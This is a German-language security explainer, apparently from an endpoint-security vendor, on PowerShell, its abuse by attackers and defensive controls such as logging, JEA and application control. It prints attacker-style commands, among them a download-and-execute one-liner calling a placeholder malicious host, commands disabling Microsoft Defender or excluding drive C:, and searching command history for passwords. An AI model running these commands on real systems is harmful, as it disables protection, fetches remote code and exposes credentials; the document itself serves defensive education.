
Was ist Windows PowerShell?
Windows PowerShell ist ein leistungsstarkes Automatisierungstool. Verstehen Sie die Sicherheitsauswirkungen und wie Sie es sicher in Ihrer Umgebung verwenden.

Windows PowerShell ist eine leistungsstarke Skriptsprache und Befehlszeilen-Shell zur Automatisierung von Aufgaben und Verwaltung von Konfigurationen. Dieser Leitfaden beleuchtet die Funktionen und Möglichkeiten von PowerShell, einschließlich seiner Rolle in der Systemadministration und Sicherheit.
Erfahren Sie mehr über gängige PowerShell-Befehle, Best Practices für Skripte und wie Sie PowerShell für Cybersicherheitszwecke nutzen können. Das Verständnis von PowerShell ist für IT-Fachkräfte und Sicherheitsexperten unerlässlich.

Wie kann PowerShell die wertvollen Assets Ihres Unternehmens beeinflussen? Lernen Sie die Grundlagen von PowerShell kennen, warum es für Hacker attraktiv ist & wie Sie das Unternehmen schützen können
Microsoft PowerShell ist eine Befehlszeilen-Shell und Skriptsprache, die zur Automatisierung von Aufgaben und zur Verwaltung Windows-basierter Systeme verwendet wird. Es wird häufig von Administratoren und Sicherheitsexperten genutzt, um Routineaufgaben zu automatisieren, Systeme zu verwalten und zu überwachen sowie Reaktionen auf Sicherheitsvorfälle zu automatisieren. Angreifer verwenden PowerShell häufig, um sich unbefugten Zugriff auf Systeme zu verschaffen und schädlichen Code auszuführen.
Microsoft PowerShell ist unter Windows bereits seit 2006 verfügbar, ist inzwischen jedoch die Befehlsshell für den Datei-Explorer unter Windows 10 und hat das alte Tool cmd.exe weitgehend ersetzt. Obwohl es von gewöhnlichen Benutzern oft als obskur angesehen wird, ist PowerShell aufgrund seiner Flexibilität und Leistungsfähigkeit für IT-Teams und Netzwerkadministratoren unverzichtbar geworden. In diesem einführenden Leitfaden erklären wir die Grundlagen von PowerShell, warum es für Hacker und Malware-Autoren attraktiv ist und was Sie tun können, um Ihre Organisation zu schützen.
Wählen Sie Ihre Variante
Wenn Sie „PowerShell“ in Cortanas Suchfeld eingeben, werden Ihnen einige Optionen angezeigt: PowerShell ISE und die PowerShell Desktop-App. Darüber hinaus sehen Sie, wenn Sie mit der rechten Maustaste auf das Startmenü oder auf eines der Taskleistensymbole von PowerShell klicken, dass es zwei verschiedene Möglichkeiten gibt, jede Version von PowerShell zu starten: als aktueller Benutzer oder als Administrator.

Administratoren, die häufige Aufgaben automatisieren möchten, verwenden wahrscheinlich die ISE-Oberfläche, um PowerShell-Module und -Skripte zu entwickeln. Für die interaktive Nutzung wählen die meisten jedoch die PowerShell Desktop-App und führen sie je nach Aufgabe entweder als Administrator oder als aktueller Benutzer aus.
Möglicherweise hören Sie auch von PowerShell Core, einer plattformübergreifenden Open-Source-Edition, die nicht nur unter Windows, sondern auch unter Linux und macOS läuft:

Seien Sie dabei jedoch vorsichtig, da es als unsignäre Binärdatei installiert wird und leicht durch einen bösartigen Nachahmer ersetzt werden könnte. Wenn Sie Endpunkte mit PowerShell Core verwenden, stellen Sie sicher, dass Ihre Organisation es mit einem geeigneten Zertifikat signiert oder regelmäßige shasum-Prüfungen durchführt, um sicherzustellen, dass es nicht manipuliert wurde.
Obwohl es einige Unterschiede in den Fähigkeiten zwischen den verschiedenen Varianten von PowerShell gibt, können sie alle Remote-Sitzungen über SSH ausführen und mit einer Vielzahl von Prozessen und Diensten interagieren. PowerShell kann sogar mit der Windows-Registrierung und dem Ereignisprotokoll interagieren. Und all das bedeutet, dass ein Angreifer mit Zugriff auf PowerShell denselben Zugriff und dieselben Vorteile hat.
Die Leistung entfesseln
Mit zwei einfachen Befehlen können Sie sich einen ersten Eindruck von den Möglichkeiten von PowerShell verschaffen:
Get-Module -ListAvailable
um die verfügbaren Module aufzulisten, und
Get-Command
um verfügbare Befehle aufzulisten:

Werfen wir einen kurzen Blick auf einige Beispiele. Angenommen, Sie (oder ein Angreifer) bewegen sich in einem Verzeichnis mit Dokumenten und möchten schnell herausfinden, ob sich darin etwas Interessantes befindet. Ein Befehl wie der folgende gibt die ersten und letzten zwei Zeilen jeder Textdatei im Verzeichnis aus, steigt rekursiv in untergeordnete Verzeichnisse ab, schließt versteckte oder unsichtbare Dateien ein und leitet die Ausgabe zur späteren Durchsicht oder Abholung in eine andere Textdatei um:
Get-ChildItem -Force -R .*.txt | ForEach-Object {Get-Content $_ -TotalCount 2; Get-Content $_ -Tail 2} *>> o.log
Wenn jemand nach Dokumenten sucht, die möglicherweise mit „Vertraulich“ beginnen oder mit der Position des Autors wie „Chief Financial Officer“ enden, könnte dies eine „schnelle und schmutzige“ Methode sein, um interessante Elemente aufzuzählen.
Das Löschen eines Elements, vielleicht um Spuren eines Eindringens zu beseitigen, ist einfach eine Frage von
Remove-Item <path>
PowerShell ermöglicht es Benutzern auch, das Betriebssystem auf interessante und leider gefährliche Weise zu manipulieren. Wenn ein Malware-Autor die vorinstallierte AV-Engine Microsoft Defender umgehen möchte, kann das Ausführen eines PowerShell-Befehls mit den entsprechenden Berechtigungen sie entweder deaktivieren:
Set-MpPreference -DisableRealTimeMonitoring $true
oder, etwas unauffälliger, ein Laufwerk oder einen Pfad von seinen Suchpfaden ausschließen:
Add-MpPreference -ExclusionPath “c:”
PowerShell macht es Angreifern auch leicht, Dinge zu tun wie Ihre Netzlaufwerke aufzuzählen und das Ereignisprotokoll aufzurufen, eine nützliche Methode, um ausnutzbare Informationen zu finden, jeweils mit Get-PSDrive und Get-EventLog.

Ein nützliches Werkzeug sowohl für Benutzer als auch für böswillige Akteure ist die Möglichkeit, den Verlauf von Befehlen zu lesen, einschließlich aller an sie übergebenen Argumente, die interaktiv in der Befehlszeile eingegeben wurden. Der Verlauf wird unter dem von diesem Befehl ausgegebenen Pfad gespeichert:
(Get-PSReadLineOption).HistorySavePath
und wir können cat und das Select-String-Cmdlet (oder dessen Alias sls) verwenden, um die Befehle effektiv zu „grep“ oder nach interessanten Elementen zu durchsuchen (zum Beispiel nach Passwörtern!):

Skripte & Exploit-Kits
Die Arbeit mit PowerShell in der Befehlszeile ist jedoch nicht der Bereich, in dem die besten Möglichkeiten für böswillige Akteure liegen. Gefährlicher ist die Fähigkeit von PowerShell, Skripte sowohl im Speicher (auch bekannt als „fileless“-Malware-Angriffe) als auch von der Festplatte auszuführen. Beides kann entweder direkt auf einem Host oder remote ausgeführt werden.
Wie der Unix-Shell-Befehl eval verfügt PowerShell über Invoke-Expression (und dessen Alias iex), wodurch es möglich wird, ein bösartiges Skript im Speicher herunterzuladen und auszuführen. Wir können Bypass hinzufügen, um zu versuchen, eine eingeschränkte Ausführungsrichtlinie zu umgehen:
powershell -ep Bypass —nop -c "iex(New-Object Net.WebClient).DownloadString('http://malicious.scripts.com/mlwr.ps1')"
Es überrascht nicht, dass es nicht lange gedauert hat, bis ganze Exploitation-Frameworks erschienen sind, die PowerShell in vollem Umfang nutzen.
An erster Stelle steht dabei PowerSploit, eine Sammlung von PowerShell-Skripten, die dabei helfen können, den Rechner eines Opfers zu manipulieren und zu kontrollieren.

PowerShell Empire baut auf der Arbeit von PowerSploit und mehreren anderen Projekten auf, um ein Post-Exploitation-Tool zu schaffen, das die Netzwerkerkennung umgehen, Keylogger ausführen und andere Module wie Mimikatz ausführen kann, um Klartext-Passwörter, Passwort-Hashes und andere Daten direkt aus dem Speicher zu extrahieren.

Der Anstieg von PowerShell-Angriffen
Die Erstellung von PowerShell-Skripten und PowerShell-Befehlen, die aus anderen Arten von Windows-Dateien, .exe, .bat, .wsf und .LNK ausgeführt werden können, ist einer der Gründe, warum PowerShell-basierte Malware in den letzten Jahren zugenommen hat. Da eine Schätzung behauptet, dass PowerShell-Exploits fast 40 % der Malware-Vorfälle ausmachen, besteht kein Zweifel daran, dass Angreifer es in einer Vielzahl von Kampagnen einsetzen, von Ransomware bis hin zu Anmeldedatendiebstahl und Banking-Trojanern. PowerShell wurde auch mit Klickbetrug, Passwort-Sniffing und Datenexfiltration in Verbindung gebracht.
DNSMessenger ist Malware, die sich in einem Word-Dokument-Makro verbreitete. Sie nutzt auf clevere Weise VBA-Quellcode, um codierte PowerShell-Befehle bereitzustellen, um Persistenz zu erreichen, ihre Payload auszuliefern und mit einem C&C-Server zu kommunizieren.
Überraschenderweise erfordern einige PowerShell-Angriffe nicht einmal die integrierte PowerShell.exe. Tools wie PowerShdll und InsecurePowerShell können Skripte direkt ausführen, indem sie die System.Management.Automation.dll nutzen, auf der die PowerShell-Binärdatei basiert. Kurz gesagt ist die ausführbare PowerShell-Datei nur ein Host oder Wrapper für den eigentlichen Code in der Dynamic Link Library. Angriffe können dies nutzen, um im Wesentlichen jeden Prozess dazu zu bringen, PowerShell-Skripte und -Befehle auszuführen.
Weitere kreative Einsatzmöglichkeiten von PowerShell umfassen das Einbetten eines PowerShell-Skripts in die Pixel einer PNG-Datei und das Erzeugen eines Einzeilers zu dessen Ausführung mit Invoke-PSImage oder das Konvertieren von PowerShell-Skripten in EXE-Dateien mit Tools wie PS2EXE.
PowerShell verwalten
Aus all dem dürfte klar geworden sein, dass das bloße Blockieren von PowerShell.exe zwecklos wäre, ganz zu schweigen von der großen Belastung für Systemadministratoren, die sich inzwischen auf die Möglichkeiten von PowerShell verlassen. Es ist wichtig zu verstehen, dass PowerShell und die zugrunde liegenden DLLs integrale Bestandteile des Windows-Betriebssystems sind und dass sich diese Leistungsfähigkeit mit dem Aufkommen von PowerShell Core auf Möglichkeiten für die plattformübergreifende Administration erstreckt, die Unternehmen als unverzichtbar ansehen könnten.
Eine effektive Enterprise-Lösung für den Umgang mit der Doppelnatur von PowerShell ist eine wie SentinelOne, die das Verhalten von Prozessen betrachtet, die auf dem Endpunkt ausgeführt werden. Dies ist effektiv, weil sie sich ähnlich verhalten, unabhängig davon, wie Malware-Angriffe implementiert werden. Der SentinelOne-Agent überwacht alle Aktivitäten auf dem Agenten, um zwischen bösartig und harmlos zu unterscheiden. Da der Agent bereits den vollständigen Kontext enthält – Benutzer, Prozesse, Befehlszeilenargumente, Registrierung, Dateien auf dem Datenträger und externe Kommunikation – können bösartige Aktivitäten unabhängig von der Quelle eingedämmt werden.
Gefällt Ihnen dieser Artikel? Folgen Sie uns auf LinkedIn, Twitter, YouTube oder Facebook, um die Inhalte zu sehen, die wir veröffentlichen.
Lesen Sie mehr über Windows-Sicherheit
- Hancitor Banking-Trojaner ist zurück | Verwendung eines bösartigen Word-Anhangs
- SentinelOne erkennt und blockiert neue Variante von Powershell CryptoWorm
- Neuer Windows-10-Dateityp kann zum Ausführen bösartiger Anwendungen missbraucht werden

KI-gestützte Cybersicherheit
Verbessern Sie Ihre Sicherheitslage mit Echtzeit-Erkennung, maschineller Reaktion und vollständiger Transparenz Ihrer gesamten digitalen Umgebung.
Windows PowerShell FAQs
Windows PowerShell ist eine Microsoft-Befehlszeilenshell und Skriptsprache, die auf dem .NET Framework basiert. Sie ermöglicht Ihnen cmdlets—einfache Verb-Nomen-Befehle—zu verwenden, um Aufgaben wie die Verwaltung des Dateisystems, der Registrierung und von Diensten zu automatisieren.
PowerShell verarbeitet und gibt Objekte statt Klartext zurück, sodass Sie strukturierte Daten von einem cmdlet zum nächsten weiterleiten können. Es unterstützt außerdem Remoting, Module und Hilfe in der Konsole für die Systemverwaltung.
Im Gegensatz zum alten CMD verwendet PowerShell cmdlets im Verb-Nomen-Format und arbeitet mit .NET-Objekten statt mit Textströmen. Das bedeutet, dass Sie Befehle über Pipelines verketten können, ohne Text zu parsen. PowerShell-Skripte können .NET-APIs direkt aufrufen, bieten eine umfangreichere Fehlerbehandlung und unterstützen Module.
Herkömmliche Shells verarbeiten nur Klartext und einfache Batch-Skripte, während PowerShell eine vollständige Skriptumgebung für Automatisierung und Konfiguration bereitstellt.
Die tiefe Systemintegration und Skriptstärke von PowerShell machen es sowohl bei Administratoren als auch bei Angreifern beliebt. Threat Actors verwenden dateilose Techniken—sie führen Skripte im Speicher aus—um der Erkennung zu entgehen.
PowerShell kann Schutzmechanismen deaktivieren, schädlichen Code herunterladen oder Anmeldedaten stehlen, ohne die Festplatte zu berühren. Seine allgegenwärtige Verbreitung in Windows bedeutet, dass Verteidiger PowerShell-Aktivitäten als hohes Risiko behandeln und sie engmaschig auf Missbrauch überwachen müssen.
In einer Cisco-Studie war PowerShell an mehr als einem Drittel der kritischen Sicherheitsbedrohungen auf Endpoints beteiligt. Carbon Black meldete PowerShell-Missbrauch in 38 Prozent der Vorfälle, häufig bei Post-Exploit-Aktionen wie lateraler Bewegung oder dem Diebstahl von Anmeldedaten.
Obwohl die normale Nutzung gering ist, taucht PowerShell in etwa einer von vierzehn bestätigten bösartigen Begegnungen auf.
Aktivieren Sie die vollständige PowerShell-Protokollierung: Modulprotokollierung, Skriptblockprotokollierung und Transkription. Legen Sie die Protokollgröße auf mindestens 150 MB fest und erfassen Sie Ereignisse aus
Microsoft-Windows-PowerShell/Operational und PowerShellCore/Operational. Speisen Sie Protokolle in SIEM oder XDR ein. Blockieren Sie Skripte von nicht vertrauenswürdigen übergeordneten Prozessen und beschränken Sie die Ausführungsrichtlinie ausschließlich auf signierte Skripte. Aktivieren Sie Protected Event Logging für zusätzliche Details.
Verwenden Sie Just Enough Administration (JEA), um den Zugriff von Benutzern ausschließlich auf genehmigte cmdlets zu beschränken. Erzwingen Sie den eingeschränkten Sprachmodus, um COM, WMI und komplexe Ausdrücke zu deaktivieren. Stellen Sie Application Control-Richtlinien (z. B. WDAC) bereit, um signierte Skripte auf eine Zulassungsliste zu setzen.
Halten Sie PowerShell auf v5.1 oder höher aktuell. Überprüfen und optimieren Sie regelmäßig die Protokollierungseinstellungen, um sicherzustellen, dass jede Skriptausführung aufgezeichnet wird.
Das vollständige Blockieren von PowerShell kann die Systemverwaltung und Remote-Administration beeinträchtigen. Microsoft rät von einer vollständigen Entfernung ab. Beschränken Sie stattdessen die Ausführung auf autorisierte Administratoren, erzwingen Sie Application Control und verhindern Sie, dass PowerShell unter nicht vertrauenswürdigen übergeordneten Prozessen wie Office-Apps gestartet wird.
In Kombination mit Protokollierung und Überwachung stoppen diese Kontrollen die meisten bösartigen Nutzungen, ohne legitime Abläufe lahmzulegen.
PowerShell ermöglicht es Verteidigern, die Reaktion auf Vorfälle zu automatisieren, forensische Daten schnell zu erfassen und Bedrohungen zu suchen. Sie können Skripte schreiben, um Registrierungsartefakte, Prozesslisten und Netzwerkverbindungen in wenigen Minuten zu erfassen. Das Erlernen von PowerShell hilft auch dabei, Angreifertechniken zu verstehen, da viele Post-Exploit-Tools (Empire, Cobalt Strike) PowerShell unter der Haube verwenden.
PowerShell-Skripte können Live-Speicher, Registry-Run-Keys, Ereignisprotokolle und Netzwerkdaten für die Triage erfassen. Community-Tools wie DFIR-Script automatisieren die Beweismittelerfassung über Endpoints hinweg. Threat Hunter verwenden PowerShell, um Windows Event ID 4104 nach bösartigen Skriptblöcken abzufragen, Ausgaben zu parsen und Ergebnisse in SOAR-Playbooks einzuspeisen. Dadurch ist PowerShell ein zentraler Bestandteil von Workflows für Erkennung, Eindämmung und Behebung.


